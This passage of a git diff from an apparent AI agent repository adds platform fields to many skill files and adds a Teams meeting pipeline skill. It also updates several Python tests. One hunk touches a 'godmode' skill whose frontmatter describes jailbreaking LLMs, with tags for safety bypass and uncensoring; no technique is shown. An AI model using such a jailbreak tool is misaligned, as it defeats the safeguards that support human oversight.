a/skills/productivity/ocr-and-documents/SKILL.md +++ b/skills/productivity/ocr-and-documents/SKILL.md @@ -4,6 +4,7 @@ description: "Extract text from PDFs/scans (pymupdf, marker-pdf)." version: 2.3.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [PDF, Documents, Research, Arxiv, Text-Extraction, OCR] diff --git a/skills/productivity/powerpoint/SKILL.md b/skills/productivity/powerpoint/SKILL.md index 13fa0dfaf17..c9bd8588aa1 100644 --- a/skills/productivity/powerpoint/SKILL.md +++ b/skills/productivity/powerpoint/SKILL.md @@ -2,6 +2,7 @@ name: powerpoint description: "Create, read, edit .pptx decks, slides, notes, templates." license: Proprietary. LICENSE.txt has complete terms +platforms: [linux, macos, windows] --- # Powerpoint Skill diff --git a/skills/productivity/teams-meeting-pipeline/SKILL.md b/skills/productivity/teams-meeting-pipeline/SKILL.md new file mode 100644 index 00000000000..4ad37c4758a --- /dev/null +++ b/skills/productivity/teams-meeting-pipeline/SKILL.md @@ -0,0 +1,116 @@ +--- +name: teams-meeting-pipeline +description: "Operate the Teams meeting summary pipeline via Hermes CLI — summarize meetings, inspect pipeline status, replay jobs, manage Microsoft Graph subscriptions." +version: 1.1.0 +author: Hermes Agent + Teknium +license: MIT +prerequisites: + env_vars: [MSGRAPH_TENANT_ID, MSGRAPH_CLIENT_ID, MSGRAPH_CLIENT_SECRET] + commands: [hermes] +metadata: + hermes: + tags: [Teams, Microsoft Graph, Meetings, Productivity, Operations] + related_docs: + - /docs/guides/microsoft-graph-app-registration + - /docs/user-guide/messaging/teams-meetings + - /docs/guides/operate-teams-meeting-pipeline +--- + +# Teams Meeting Pipeline + +Use this skill whenever the user asks about Microsoft Teams meeting summaries, transcripts, recordings, action items, Graph subscriptions, or any operational question about the Teams meeting pipeline. Works in any language — the triggers below are examples, not an exhaustive list. + +Everything operator-facing is a `hermes teams-pipeline` subcommand run via the terminal tool. There are no new model tools for this pipeline — the CLI is the surface. + +## When to use this skill + +The user is asking to: +- summarize a Teams meeting / extract action items / pull meeting notes +- check pipeline status, inspect a stored meeting job, or see recent meetings +- replay / re-run a stored job that failed or needs a fresh summary +- validate Microsoft Graph setup after changing env or config +- troubleshoot "meeting summary never arrived" or "no new meetings are ingesting" +- manage Graph webhook subscriptions (create, renew, delete, inspect) +- set up automated subscription renewal (see pitfall below) + +Multilingual trigger examples (not exhaustive): +- English: "summarize the Teams meeting", "pipeline status", "replay job X" +- Turkish: "Teams meeting özetle", "action item çıkar", "toplantı notu", "pipeline durumu", "replay job" + +## Prerequisites + +Before using the pipeline, verify these are set in `~/.hermes/.env`: + +```bash +MSGRAPH_TENANT_ID=... +MSGRAPH_CLIENT_ID=... +MSGRAPH_CLIENT_SECRET=... +``` + +If any are missing, direct the user to the Azure app registration guide at `/docs/guides/microsoft-graph-app-registration` — they need an Azure AD app registration with admin-consented Graph application permissions before the pipeline will work. + +## Command reference + +### Status and inspection (start here) + +```bash +hermes teams-pipeline validate # config snapshot — run first after any change +hermes teams-pipeline token-health # Graph token status +hermes teams-pipeline token-health --force-refresh # force a fresh token acquisition +hermes teams-pipeline list # recent meeting jobs +hermes teams-pipeline list --status failed # only failed jobs +hermes teams-pipeline show # full detail of one job +hermes teams-pipeline subscriptions # current Graph webhook subscriptions +``` + +### Re-running / debugging + +```bash +hermes teams-pipeline run # replay a stored job (re-summarize, re-deliver) +hermes teams-pipeline fetch --meeting-id # dry-run: resolve meeting + transcript without persisting +hermes teams-pipeline fetch --join-web-url "" # dry-run by join URL +``` + +### Subscription management + +```bash +hermes teams-pipeline subscribe \ + --resource communications/onlineMeetings/getAllTranscripts \ + --notification-url https:///msgraph/webhook \ + --client-state "$MSGRAPH_WEBHOOK_CLIENT_STATE" + +hermes teams-pipeline renew-subscription --expiration +hermes teams-pipeline delete-subscription +hermes teams-pipeline maintain-subscriptions # renew near-expiry ones +hermes teams-pipeline maintain-subscriptions --dry-run # show what would be renewed +``` + +## Decision tree for common asks + +- User asks "why didn't I get a summary for today's meeting?" → start with `list --status failed`, then `show ` on the relevant row. If the job doesn't exist at all, check `subscriptions` — the webhook may have expired (see pitfall below). +- User asks "is setup working?" → `validate`, then `token-health`, then `subscriptions`. If all three pass, request a test meeting and check `list` for a fresh row. +- User asks "re-run summary for meeting X" → `list` to find the job ID, `run ` to replay. If it fails again, `show ` to inspect the error and `fetch --meeting-id` to dry-run the artifact resolution. +- User asks "add meeting X to the pipeline" → usually you don't — the pipeline is subscription-driven, not per-meeting. If they want a specific past meeting summarized, use `fetch` to pull transcript + `run` after a job is created. + +## Critical pitfall: Graph subscriptions expire in 72 hours + +Microsoft Graph caps webhook subscriptions at 72 hours and **will not auto-renew them**. If `maintain-subscriptions` is not scheduled, meeting notifications silently stop arriving 3 days after any manual subscription creation. + +When the user reports "the pipeline worked yesterday but nothing is arriving today": +1. Run `hermes teams-pipeline subscriptions` — if it's empty or all entries show `expirationDateTime` in the past, that's the cause. +2. Recreate with `subscribe` as shown above. +3. **Set up automated renewal immediately** via `hermes cron add`, a systemd timer, or plain crontab. The operator runbook at `/docs/guides/operate-teams-meeting-pipeline#automating-subscription-renewal-required-for-production` has all three options. 12-hour interval is safe (6x headroom against the 72h limit). + +## Other pitfalls + +- **Transcript not available yet.** Teams takes some time after a meeting ends to generate the transcript artifact. `fetch --meeting-id` on a just-ended meeting may return empty. Wait 2-5 minutes and retry, or let the Graph webhook drive ingestion naturally. +- **Delivery mode mismatch.** If summaries are produced (`list` shows success) but nothing lands in Teams, check `platforms.teams.extra.delivery_mode` and the matching target config (`incoming_webhook_url` OR `chat_id` OR `team_id`+`channel_id`). The writer reads these from config.yaml or `TEAMS_*` env vars. +- **Graph app permissions.** A token acquires cleanly (`token-health` passes) but Graph API calls return 401/403 when permissions were added but admin consent wasn't re-granted. Have the user revisit the app registration in the Azure portal and click "Grant admin consent" again. + +## Related docs + +Point the user to these when they need more depth than this skill covers: +- Azure app registration walkthrough: `/docs/guides/microsoft-graph-app-registration` +- Full pipeline setup: `/docs/user-guide/messaging/teams-meetings` +- Operator runbook (renewal automation, troubleshooting, go-live checklist): `/docs/guides/operate-teams-meeting-pipeline` +- Webhook listener setup: `/docs/user-guide/messaging/msgraph-webhook` diff --git a/skills/red-teaming/godmode/SKILL.md b/skills/red-teaming/godmode/SKILL.md index 6cb12f86e5e..94918faed2a 100644 --- a/skills/red-teaming/godmode/SKILL.md +++ b/skills/red-teaming/godmode/SKILL.md @@ -4,6 +4,7 @@ description: "Jailbreak LLMs: Parseltongue, GODMODE, ULTRAPLINIAN." version: 1.0.0 author: Hermes Agent + Teknium license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [jailbreak, red-teaming, G0DM0D3, Parseltongue, GODMODE, uncensoring, safety-bypass, prompt-engineering, L1B3RT4S] diff --git a/skills/research/arxiv/SKILL.md b/skills/research/arxiv/SKILL.md index 5976a69b25f..70ab36eba24 100644 --- a/skills/research/arxiv/SKILL.md +++ b/skills/research/arxiv/SKILL.md @@ -4,6 +4,7 @@ description: "Search arXiv papers by keyword, author, category, or ID." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Research, Arxiv, Papers, Academic, Science, API] diff --git a/skills/research/blogwatcher/SKILL.md b/skills/research/blogwatcher/SKILL.md index 6d3b7722095..a1d52441e19 100644 --- a/skills/research/blogwatcher/SKILL.md +++ b/skills/research/blogwatcher/SKILL.md @@ -4,6 +4,7 @@ description: "Monitor blogs and RSS/Atom feeds via blogwatcher-cli tool." version: 2.0.0 author: JulienTant (fork of Hyaxia/blogwatcher) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [RSS, Blogs, Feed-Reader, Monitoring] diff --git a/skills/research/llm-wiki/SKILL.md b/skills/research/llm-wiki/SKILL.md index 3a37f9595a3..839c2f682a0 100644 --- a/skills/research/llm-wiki/SKILL.md +++ b/skills/research/llm-wiki/SKILL.md @@ -4,6 +4,7 @@ description: "Karpathy's LLM Wiki: build/query interlinked markdown KB." version: 2.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [wiki, knowledge-base, research, notes, markdown, rag-alternative] diff --git a/skills/research/polymarket/SKILL.md b/skills/research/polymarket/SKILL.md index da3fef658d3..6913e487296 100644 --- a/skills/research/polymarket/SKILL.md +++ b/skills/research/polymarket/SKILL.md @@ -4,6 +4,7 @@ description: "Query Polymarket: markets, prices, orderbooks, history." version: 1.0.0 author: Hermes Agent + Teknium tags: [polymarket, prediction-markets, market-data, trading] +platforms: [linux, macos, windows] --- # Polymarket — Prediction Market Data diff --git a/skills/smart-home/openhue/SKILL.md b/skills/smart-home/openhue/SKILL.md index ac830214291..3f60c0556f9 100644 --- a/skills/smart-home/openhue/SKILL.md +++ b/skills/smart-home/openhue/SKILL.md @@ -4,6 +4,7 @@ description: "Control Philips Hue lights, scenes, rooms via OpenHue CLI." version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Smart-Home, Hue, Lights, IoT, Automation] diff --git a/skills/software-development/debugging-hermes-tui-commands/SKILL.md b/skills/software-development/debugging-hermes-tui-commands/SKILL.md index 31649bbc40a..6accc1e2da5 100644 --- a/skills/software-development/debugging-hermes-tui-commands/SKILL.md +++ b/skills/software-development/debugging-hermes-tui-commands/SKILL.md @@ -4,6 +4,7 @@ description: "Debug Hermes TUI slash commands: Python, gateway, Ink UI." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [debugging, hermes-agent, tui, slash-commands, typescript, python] diff --git a/skills/software-development/hermes-agent-skill-authoring/SKILL.md b/skills/software-development/hermes-agent-skill-authoring/SKILL.md index 7683ee33507..3ab3644dcba 100644 --- a/skills/software-development/hermes-agent-skill-authoring/SKILL.md +++ b/skills/software-development/hermes-agent-skill-authoring/SKILL.md @@ -4,6 +4,7 @@ description: "Author in-repo SKILL.md: frontmatter, validator, structure." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [skills, authoring, hermes-agent, conventions, skill-md] diff --git a/skills/software-development/node-inspect-debugger/SKILL.md b/skills/software-development/node-inspect-debugger/SKILL.md index e28eb60ee49..d5a34ef9b4a 100644 --- a/skills/software-development/node-inspect-debugger/SKILL.md +++ b/skills/software-development/node-inspect-debugger/SKILL.md @@ -4,6 +4,7 @@ description: "Debug Node.js via --inspect + Chrome DevTools Protocol CLI." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [debugging, nodejs, node-inspect, cdp, breakpoints, ui-tui] diff --git a/skills/software-development/plan/SKILL.md b/skills/software-development/plan/SKILL.md index 382dd2d1fd4..dcfba8e2293 100644 --- a/skills/software-development/plan/SKILL.md +++ b/skills/software-development/plan/SKILL.md @@ -4,6 +4,7 @@ description: "Plan mode: write markdown plan to .hermes/plans/, no exec." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [planning, plan-mode, implementation, workflow] diff --git a/skills/software-development/python-debugpy/SKILL.md b/skills/software-development/python-debugpy/SKILL.md index b70fdda4b1f..e16ab8bc28f 100644 --- a/skills/software-development/python-debugpy/SKILL.md +++ b/skills/software-development/python-debugpy/SKILL.md @@ -4,6 +4,7 @@ description: "Debug Python: pdb REPL + debugpy remote (DAP)." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos] metadata: hermes: tags: [debugging, python, pdb, debugpy, breakpoints, dap, post-mortem] diff --git a/skills/software-development/requesting-code-review/SKILL.md b/skills/software-development/requesting-code-review/SKILL.md index cbeaa237d67..4a2ba70bf35 100644 --- a/skills/software-development/requesting-code-review/SKILL.md +++ b/skills/software-development/requesting-code-review/SKILL.md @@ -4,6 +4,7 @@ description: "Pre-commit review: security scan, quality gates, auto-fix." version: 2.0.0 author: Hermes Agent (adapted from obra/superpowers + MorAlekss) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [code-review, security, verification, quality, pre-commit, auto-fix] diff --git a/skills/software-development/spike/SKILL.md b/skills/software-development/spike/SKILL.md index 79d66bda14b..93eb15d8e8c 100644 --- a/skills/software-development/spike/SKILL.md +++ b/skills/software-development/spike/SKILL.md @@ -4,6 +4,7 @@ description: "Throwaway experiments to validate an idea before build." version: 1.0.0 author: Hermes Agent (adapted from gsd-build/get-shit-done) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [spike, prototype, experiment, feasibility, throwaway, exploration, research, planning, mvp, proof-of-concept] diff --git a/skills/software-development/subagent-driven-development/SKILL.md b/skills/software-development/subagent-driven-development/SKILL.md index 23c5bf47da4..d2cff3d8000 100644 --- a/skills/software-development/subagent-driven-development/SKILL.md +++ b/skills/software-development/subagent-driven-development/SKILL.md @@ -4,6 +4,7 @@ description: "Execute plans via delegate_task subagents (2-stage review)." version: 1.1.0 author: Hermes Agent (adapted from obra/superpowers) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [delegation, subagent, implementation, workflow, parallel] diff --git a/skills/software-development/systematic-debugging/SKILL.md b/skills/software-development/systematic-debugging/SKILL.md index 3c37c169b11..635fde7943f 100644 --- a/skills/software-development/systematic-debugging/SKILL.md +++ b/skills/software-development/systematic-debugging/SKILL.md @@ -4,6 +4,7 @@ description: "4-phase root cause debugging: understand bugs before fixing." version: 1.1.0 author: Hermes Agent (adapted from obra/superpowers) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [debugging, troubleshooting, problem-solving, root-cause, investigation] diff --git a/skills/software-development/test-driven-development/SKILL.md b/skills/software-development/test-driven-development/SKILL.md index 5cc6c323930..1ae1195e944 100644 --- a/skills/software-development/test-driven-development/SKILL.md +++ b/skills/software-development/test-driven-development/SKILL.md @@ -4,6 +4,7 @@ description: "TDD: enforce RED-GREEN-REFACTOR, tests before code." version: 1.1.0 author: Hermes Agent (adapted from obra/superpowers) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [testing, tdd, development, quality, red-green-refactor] diff --git a/skills/software-development/writing-plans/SKILL.md b/skills/software-development/writing-plans/SKILL.md index 728714f2878..abb321dd83f 100644 --- a/skills/software-development/writing-plans/SKILL.md +++ b/skills/software-development/writing-plans/SKILL.md @@ -4,6 +4,7 @@ description: "Write implementation plans: bite-sized tasks, paths, code." version: 1.1.0 author: Hermes Agent (adapted from obra/superpowers) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [planning, design, implementation, workflow, documentation] diff --git a/skills/yuanbao/SKILL.md b/skills/yuanbao/SKILL.md index b2f79aecb6f..6c261c68dd0 100644 --- a/skills/yuanbao/SKILL.md +++ b/skills/yuanbao/SKILL.md @@ -2,6 +2,7 @@ name: yuanbao description: "Yuanbao (元宝) groups: @mention users, query info/members." version: 1.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [yuanbao, mention, at, group, members, 元宝, 派, 艾特] diff --git a/tests/agent/test_bedrock_1m_context.py b/tests/agent/test_bedrock_1m_context.py index 988fafedf09..7d9753831ed 100644 --- a/tests/agent/test_bedrock_1m_context.py +++ b/tests/agent/test_bedrock_1m_context.py @@ -15,24 +15,7 @@ from unittest.mock import MagicMock, patch class TestBedrockContext1MBeta: """``context-1m-2025-08-07`` must reach Bedrock Claude requests.""" - def test_common_betas_includes_1m(self): - from agent.anthropic_adapter import _COMMON_BETAS, _CONTEXT_1M_BETA - assert _CONTEXT_1M_BETA == "context-1m-2025-08-07" - assert _CONTEXT_1M_BETA in _COMMON_BETAS - - def test_common_betas_for_native_anthropic_includes_1m(self): - """Native Anthropic endpoints (and Bedrock with empty base_url) get 1M.""" - from agent.anthropic_adapter import ( - _common_betas_for_base_url, - _CONTEXT_1M_BETA, - ) - - assert _CONTEXT_1M_BETA in _common_betas_for_base_url(None) - assert _CONTEXT_1M_BETA in _common_betas_for_base_url("") - assert _CONTEXT_1M_BETA in _common_betas_for_base_url( - "https://api.anthropic.com" - ) def test_common_betas_strips_1m_for_minimax(self): """MiniMax bearer-auth endpoints host their own models — strip 1M beta.""" @@ -79,27 +62,3 @@ class TestBedrockContext1MBeta: assert "interleaved-thinking-2025-05-14" in beta_header assert "fine-grained-tool-streaming-2025-05-14" in beta_header - def test_build_anthropic_kwargs_includes_1m_for_bedrock_fastmode(self): - """Fast-mode requests (per-request extra_headers) still include 1M beta. - - Per-request extra_headers override client-level default_headers, so - the fast-mode path must re-include everything in _COMMON_BETAS. - """ - from agent.anthropic_adapter import build_anthropic_kwargs - - kwargs = build_anthropic_kwargs( - model="claude-opus-4-7", - messages=[{"role": "user", "content": "hi"}], - tools=None, - max_tokens=1024, - reasoning_config=None, - is_oauth=False, - # Empty base_url mirrors AnthropicBedrock (no HTTP base URL) - base_url=None, - fast_mode=True, - ) - beta_header = kwargs.get("extra_headers", {}).get("anthropic-beta", "") - assert "context-1m-2025-08-07" in beta_header, ( - "fast-mode extra_headers must carry the 1M beta or it overrides " - "client-level default_headers and Bedrock drops back to 200K" - ) diff --git a/tests/agent/test_external_skills_dirs_cache.py b/tests/agent/test_external_skills_dirs_cache.py new file mode 100644 index 00000000000..277214bd0d0 --- /dev/null +++ b/tests/agent/test_external_skills_dirs_cache.py @@ -0,0 +1,149 @@ +"""Guards for ``get_external_skills_dirs`` mtime-based memo. + +``get_external_skills_dirs()`` is called once per skill during banner +construction and tool registration — on a typical install that's 120+ +calls. Without caching, each call re-reads + YAML-parses the full +config.yaml (~85ms each, 10+ seconds total). This test pins the +behavior: first call parses, subsequent calls return cached result, +cache invalidates when config.yaml's mtime changes. +""" + +from __future__ import annotations + +import os +import time +from pathlib import Path +from unittest.mock import patch + +import pytest + +from agent import skill_utils +from agent.skill_utils import ( + _external_dirs_cache_clear, + get_external_skills_dirs, +) + + +@pytest.fixture +def hermes_home_with_config(tmp_path, monkeypatch): + """Isolated ``~/.hermes/`` with a config.yaml referencing one external dir.""" + home = tmp_path / ".hermes" + home.mkdir() + external = tmp_path / "external_skills" + external.mkdir() + + config = home / "config.yaml" + config.write_text( + "skills:\n" + f" external_dirs:\n" + f" - {external}\n", + encoding="utf-8", + ) + + monkeypatch.setenv("HERMES_HOME", str(home)) + monkeypatch.setattr(Path, "home", lambda: tmp_path) + _external_dirs_cache_clear() + yield home, external, config + _external_dirs_cache_clear() + + +def test_returns_configured_external_dir(hermes_home_with_config): + _home, external, _cfg = hermes_home_with_config + result = get_external_skills_dirs() + assert result == [external.resolve()] + + +def test_cache_reuses_result_without_reparsing(hermes_home_with_config): + """Subsequent calls hit the cache and skip YAML parsing entirely.""" + _home, _external, _cfg = hermes_home_with_config + + # Prime cache + get_external_skills_dirs() + + # Patch yaml_load to raise — if cache works, it's never called again. + with patch.object( + skill_utils, + "yaml_load", + side_effect=AssertionError("yaml_load should not run on cache hit"), + ): + # Many calls, none should trigger the patched yaml_load. + for _ in range(100): + get_external_skills_dirs() + + +def test_cache_invalidates_on_mtime_change(hermes_home_with_config): + """A config.yaml edit invalidates the cache on the next call.""" + _home, external, config = hermes_home_with_config + other = external.parent / "other_skills" + other.mkdir() + + # Prime cache with original contents. + first = get_external_skills_dirs() + assert first == [external.resolve()] + + # Rewrite config; bump mtime forward explicitly so filesystems with + # coarse mtime granularity still register the change on fast test + # systems. + config.write_text( + "skills:\n" + f" external_dirs:\n" + f" - {other}\n", + encoding="utf-8", + ) + stat = config.stat() + future = stat.st_atime + 10 + os.utime(config, (future, future)) + + second = get_external_skills_dirs() + assert second == [other.resolve()] + + +def test_returns_empty_when_config_missing(tmp_path, monkeypatch): + """No config file → empty list, cached as empty.""" + home = tmp_path / ".hermes" + home.mkdir() + monkeypatch.setenv("HERMES_HOME", str(home)) + monkeypatch.setattr(Path, "home", lambda: tmp_path) + _external_dirs_cache_clear() + + assert get_external_skills_dirs() == [] + + +def test_returned_list_is_a_copy(hermes_home_with_config): + """Callers can't poison the cache by mutating the returned list.""" + first = get_external_skills_dirs() + first.append(Path("/tmp/should-not-persist")) + + second = get_external_skills_dirs() + assert Path("/tmp/should-not-persist") not in second + + +def test_cache_key_is_per_config_path(tmp_path, monkeypatch): + """Two different HERMES_HOMEs keep separate cache entries.""" + home_a = tmp_path / "home_a" / ".hermes" + home_a.mkdir(parents=True) + ext_a = tmp_path / "ext_a" + ext_a.mkdir() + (home_a / "config.yaml").write_text( + f"skills:\n external_dirs:\n - {ext_a}\n", encoding="utf-8" + ) + + home_b = tmp_path / "home_b" / ".hermes" + home_b.mkdir(parents=True) + ext_b = tmp_path / "ext_b" + ext_b.mkdir() + (home_b / "config.yaml").write_text( + f"skills:\n external_dirs:\n - {ext_b}\n", encoding="utf-8" + ) + + _external_dirs_cache_clear() + + monkeypatch.setenv("HERMES_HOME", str(home_a)) + assert get_external_skills_dirs() == [ext_a.resolve()] + + monkeypatch.setenv("HERMES_HOME", str(home_b)) + assert get_external_skills_dirs() == [ext_b.resolve()] + + # And switching back still works — both entries coexist in the cache. + monkeypatch.setenv("HERMES_HOME", str(home_a)) + assert get_external_skills_dirs() == [ext_a.resolve()] diff --git a/tests/agent/test_prompt_builder.py b/tests/agent/test_prompt_builder.py index d99e6944ff5..b475c591b2c 100644 --- a/tests/agent/test_prompt_builder.py +++ b/tests/agent/test_prompt_builder.py @@ -839,15 +839,106 @@ class TestEnvironmentHints: def test_build_environment_hints_on_wsl(self, monkeypatch): import agent.prompt_builder as _pb monkeypatch.setattr(_pb, "is_wsl", lambda: True) + monkeypatch.delenv("TERMINAL_ENV", raising=False) + _pb._clear_backend_probe_cache() result = _pb.build_environment_hints() assert "/mnt/" in result assert "WSL" in result + # WSL block still carries the always-on host info ahead of it. + assert "User home directory:" in result - def test_build_environment_hints_not_wsl(self, monkeypatch): + def test_build_environment_hints_on_linux_local(self, monkeypatch): + import agent.prompt_builder as _pb + import sys, platform + monkeypatch.setattr(_pb, "is_wsl", lambda: False) + monkeypatch.setattr(sys, "platform", "linux") + monkeypatch.setattr(platform, "system", lambda: "Linux") + monkeypatch.setattr(platform, "release", lambda: "6.8.0-generic") + monkeypatch.delenv("TERMINAL_ENV", raising=False) + _pb._clear_backend_probe_cache() + result = _pb.build_environment_hints() + assert result != "" + assert "Host: Linux" in result + assert "6.8.0-generic" in result + assert "User home directory:" in result + assert "Current working directory:" in result + # Linux must NOT get the Windows-specific callouts. + assert "PowerShell" not in result + assert "hostname" not in result + assert "WSL" not in result + + def test_build_environment_hints_on_windows_local(self, monkeypatch): + import agent.prompt_builder as _pb + import sys + monkeypatch.setattr(_pb, "is_wsl", lambda: False) + monkeypatch.setattr(sys, "platform", "win32") + monkeypatch.delenv("TERMINAL_ENV", raising=False) + _pb._clear_backend_probe_cache() + result = _pb.build_environment_hints() + assert "Host: Windows" in result + assert "User home directory:" in result + # Two Windows-specific callouts that must ALWAYS appear together: + # hostname warning + bash-not-PowerShell warning. + assert "hostname" in result + assert "NOT the username" in result + assert "bash" in result + assert "PowerShell" in result + + def test_build_environment_hints_on_macos_local(self, monkeypatch): + import agent.prompt_builder as _pb + import sys + monkeypatch.setattr(_pb, "is_wsl", lambda: False) + monkeypatch.setattr(sys, "platform", "darwin") + monkeypatch.delenv("TERMINAL_ENV", raising=False) + _pb._clear_backend_probe_cache() + result = _pb.build_environment_hints() + assert "Host: macOS" in result + assert "User home directory:" in result + # macOS must NOT get the Windows-specific callouts. + assert "PowerShell" not in result + assert "hostname" not in result + + def test_build_environment_hints_suppresses_host_on_docker_backend(self, monkeypatch): + """Docker/remote backends must hide host info — the agent can only touch the backend.""" + import agent.prompt_builder as _pb + import sys + monkeypatch.setattr(_pb, "is_wsl", lambda: False) + monkeypatch.setattr(sys, "platform", "win32") + monkeypatch.setenv("TERMINAL_ENV", "docker") + # Force the probe to fail so we exercise the static fallback path + # deterministically (the live probe would try to spin up docker). + monkeypatch.setattr(_pb, "_probe_remote_backend", lambda _t: None) + _pb._clear_backend_probe_cache() + result = _pb.build_environment_hints() + # Host suppression: none of the local-backend lines should appear. + assert "Host: Windows" not in result + assert "User home directory:" not in result + assert "PowerShell" not in result + # Backend info must appear instead. + assert "Terminal backend: docker" in result + assert "inside" in result.lower() + + def test_build_environment_hints_uses_live_probe_when_available(self, monkeypatch): + """When the probe succeeds, its output must appear in the hint block.""" import agent.prompt_builder as _pb monkeypatch.setattr(_pb, "is_wsl", lambda: False) + monkeypatch.setenv("TERMINAL_ENV", "modal") + fake_probe_output = " OS: Linux 6.8.0\n User: root\n Home: /root\n Working directory: /workspace" + monkeypatch.setattr(_pb, "_probe_remote_backend", lambda _t: fake_probe_output) + _pb._clear_backend_probe_cache() result = _pb.build_environment_hints() - assert result == "" + assert "Terminal backend: modal" in result + assert "Linux 6.8.0" in result + assert "/workspace" in result + + def test_remote_backend_list_covers_known_sandboxes(self): + """Regression guard: if someone adds a remote backend, they must list it here.""" + import agent.prompt_builder as _pb + for backend in ("docker", "singularity", "modal", "daytona", "ssh", "vercel_sandbox"): + assert backend in _pb._REMOTE_TERMINAL_BACKENDS, ( + f"{backend!r} must be in _REMOTE_TERMINAL_BACKENDS so its host " + f"info is suppressed in the system prompt" + ) # ========================================================================= diff --git a/tests/agent/test_unsupported_parameter_retry.py b/tests/agent/test_unsupported_parameter_retry.py index 99745dc120e..d8f9e53c426 100644 --- a/tests/agent/test_unsupported_parameter_retry.py +++ b/tests/agent/test_unsupported_parameter_retry.py @@ -115,37 +115,6 @@ class TestMaxTokensRetryHardening: # Only the initial attempt — no retry because the gate blocked it assert client.chat.completions.create.call_count == 1 - def test_sync_max_tokens_retry_matches_generic_phrasing(self): - """A 400 saying "Unknown parameter: max_tokens" (not the legacy - substring ``"max_tokens"`` bare + no ``unsupported_parameter`` token) - now triggers the retry via the generic helper. - """ - client = MagicMock() - client.base_url = "https://api.openai.com/v1" - err = RuntimeError("Unknown parameter: max_tokens") - response = _dummy_response() - client.chat.completions.create.side_effect = [err, response] - - with ( - patch("agent.auxiliary_client._resolve_task_provider_model", - return_value=("openai-codex", "gpt-5.5", None, None, None)), - patch("agent.auxiliary_client._get_cached_client", - return_value=(client, "gpt-5.5")), - patch("agent.auxiliary_client._validate_llm_response", - side_effect=lambda resp, _task: resp), - ): - result = call_llm( - task="session_search", - messages=[{"role": "user", "content": "hi"}], - temperature=0.3, - max_tokens=512, - ) - - assert result is response - assert client.chat.completions.create.call_count == 2 - second_call = client.chat.completions.create.call_args_list[1] - assert "max_tokens" not in second_call.kwargs - assert second_call.kwargs["max_completion_tokens"] == 512 @pytest.mark.asyncio async def test_async_max_tokens_retry_skipped_when_max_tokens_is_none(self): @@ -171,31 +140,3 @@ class TestMaxTokensRetryHardening: assert client.chat.completions.create.call_count == 1 - @pytest.mark.asyncio - async def test_async_max_tokens_retry_matches_generic_phrasing(self): - client = MagicMock() - client.base_url = "https://api.openai.com/v1" - err = RuntimeError("Unknown parameter: max_tokens") - response = _dummy_response() - client.chat.completions.create = AsyncMock(side_effect=[err, response]) - - with ( - patch("agent.auxiliary_client._resolve_task_provider_model", - return_value=("openai-codex", "gpt-5.5", None, None, None)), - patch("agent.auxiliary_client._get_cached_client", - return_value=(client, "gpt-5.5")), - patch("agent.auxiliary_client._validate_llm_response", - side_effect=lambda resp, _task: resp), - ): - result = await async_call_llm( - task="session_search", - messages=[{"role": "user", "content": "hi"}], - temperature=0.3, - max_tokens=512, - ) - - assert result is response - assert client.chat.completions.create.await_count == 2 - second_call = client.chat.completions.create.call_args_list[1] - assert "max_tokens" not in second_call.kwargs - assert second_call.kwargs["max_completion_tokens"] == 512 diff --git a/tests/cli/test_cli_init.py b/tests/cli/test_cli_init.py index c9ecf2c7df5..43bfaf23d84 100644 --- a/tests/cli/test_cli_init.py +++ b/tests/cli/test_cli_init.py @@ -163,22 +163,40 @@ class TestBusyInputMode: class TestPromptToolkitTerminalCompatibility: - def test_lf_enter_binds_to_submit_handler(self): - """Some thin PTYs deliver Enter as LF/c-j instead of CR/enter.""" + def test_lf_enter_binds_to_submit_handler_posix(self): + """Some thin PTYs deliver Enter as LF/c-j instead of CR/enter. + + On POSIX we keep the c-j → submit binding so Enter works on thin + PTYs (docker exec, certain SSH configurations). On Windows c-j is + reclaimed as the newline keystroke because Windows Terminal + delivers Ctrl+Enter as LF, and we want an Enter-involving newline + without requiring terminal-settings changes. + """ + import sys as _sys + from unittest.mock import patch as _patch from prompt_toolkit.key_binding import KeyBindings from cli import _bind_prompt_submit_keys - kb = KeyBindings() - def submit_handler(event): return None - _bind_prompt_submit_keys(kb, submit_handler) + # POSIX: both enter and c-j submit + with _patch.object(_sys, "platform", "linux"): + kb = KeyBindings() + _bind_prompt_submit_keys(kb, submit_handler) + bindings = {tuple(key.value for key in binding.keys): binding.handler for binding in kb.bindings} + assert bindings[("c-m",)] is submit_handler + assert bindings[("c-j",)] is submit_handler - bindings = {tuple(key.value for key in binding.keys): binding.handler for binding in kb.bindings} - assert bindings[("c-m",)] is submit_handler - assert bindings[("c-j",)] is submit_handler + # Windows: only enter submits; c-j is free for the newline binding + # added separately in the prompt setup. + with _patch.object(_sys, "platform", "win32"): + kb = KeyBindings() + _bind_prompt_submit_keys(kb, submit_handler) + bindings = {tuple(key.value for key in binding.keys): binding.handler for binding in kb.bindings} + assert bindings[("c-m",)] is submit_handler + assert ("c-j",) not in bindings def test_cpr_warning_callback_is_disabled(self): from cli import _disable_prompt_toolkit_cpr_warning diff --git a/tests/cli/test_cli_shift_enter_newline.py b/tests/cli/test_cli_shift_enter_newline.py new file mode 100644 index 00000000000..4ea15a7c8be --- /dev/null +++ b/tests/cli/test_cli_shift_enter_newline.py @@ -0,0 +1,88 @@ +"""Verify Shift+Enter byte sequences parse to the same key tuple Alt+Enter +produces, so the existing Alt+Enter newline handler in `cli.py` fires for 